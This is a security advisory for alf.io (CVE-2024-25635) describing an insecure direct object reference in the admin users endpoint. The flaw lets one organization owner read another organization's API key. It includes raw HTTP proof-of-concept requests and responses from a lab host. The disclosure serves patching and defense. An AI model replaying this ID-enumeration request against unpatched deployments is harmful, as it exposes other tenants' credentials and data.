Skip to content

IDOR Vulnerability: Allowing Organization Owner to view the other Organizations API KEY and USERS

High
cbellone published GHSA-ffr5-g3qg-gp4f Feb 16, 2024

Package

docker alfio/alf.io (Docker)

Affected versions

< 2.0-M4-2402

Patched versions

2.0-M4-2402

Description

Description

Organization owners can view the generated API KEY and USERS of other Organization Owners using the http://192.168.26.128:8080/admin/api/users/<user_id> endpoint which expose the details of the provided user id.

The API KEY is showing in the username of the user.

Proof of Concept

Original Request of OrgOwner 1

GET /admin/api/users/12 HTTP/1.1
Host: 192.168.26.128:8080
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
X-XSRF-TOKEN: 1e9c573e-8f7f-4a14-aa1a-e411f6911626
Referer: http://192.168.26.128:8080/admin
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: SESSION=b1a585a8-7e9d-4e86-89ee-6e36c554a048; XSRF-TOKEN=1e9c573e-8f7f-4a14-aa1a-e411f6911626
Connection: close

Original Response from OrgOwner1's request

HTTP/1.1 200 OK
Connection: close
Date: Tue, 25 Apr 2023 15:15:01 GMT
Set-Cookie: XSRF-TOKEN=1e9c573e-8f7f-4a14-aa1a-e411f6911626; Path=/
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: application/json;charset=utf-8
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Vary: Accept-Encoding, User-Agent

{"id":12,"organizationId":2,"role":"SUPERVISOR","username":"6b625cf8-90ef-430b-a3f5-fb37d3cf72d0","firstName":"apikey","lastName":"","emailAddress":"","type":"API_KEY","validTo":null,"description":"This is ORG1 API KEY For Check-In Supervisor","validToAsDateTime":null}

Modified Request from OrgOwner2

GET /admin/api/users/12 HTTP/1.1
Host: 192.168.26.128:8080
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Referer: http://192.168.26.128:8080/admin
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
X-XSRF-TOKEN: 42200ced-bf1e-4287-b031-a0f09131fc23
X-CSRF-TOKEN: 42200ced-bf1e-4287-b031-a0f09131fc23
Cookie: XSRF-TOKEN=42200ced-bf1e-4287-b031-a0f09131fc23; SESSION=b1a585a8-7e9d-4e86-89ee-6e36c554a048

Response from OrgOwner2's request

HTTP/1.1 200 OK
Connection: close
Date: Tue, 25 Apr 2023 15:15:01 GMT
Set-Cookie: XSRF-TOKEN=1e9c573e-8f7f-4a14-aa1a-e411f6911626; Path=/
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: application/json;charset=utf-8
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Vary: Accept-Encoding, User-Agent

{"id":12,"organizationId":2,"role":"SUPERVISOR","username":"6b625cf8-90ef-430b-a3f5-fb37d3cf72d0","firstName":"apikey","lastName":"","emailAddress":"","type":"API_KEY","validTo":null,"description":"This is ORG1 API KEY For Check-In Supervisor","validToAsDateTime":null}

Impact

Organization owners can get the API KEY of other organization owners and use it to access/edit data.

Severity

High
8.8
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2024-25635

Weaknesses

Credits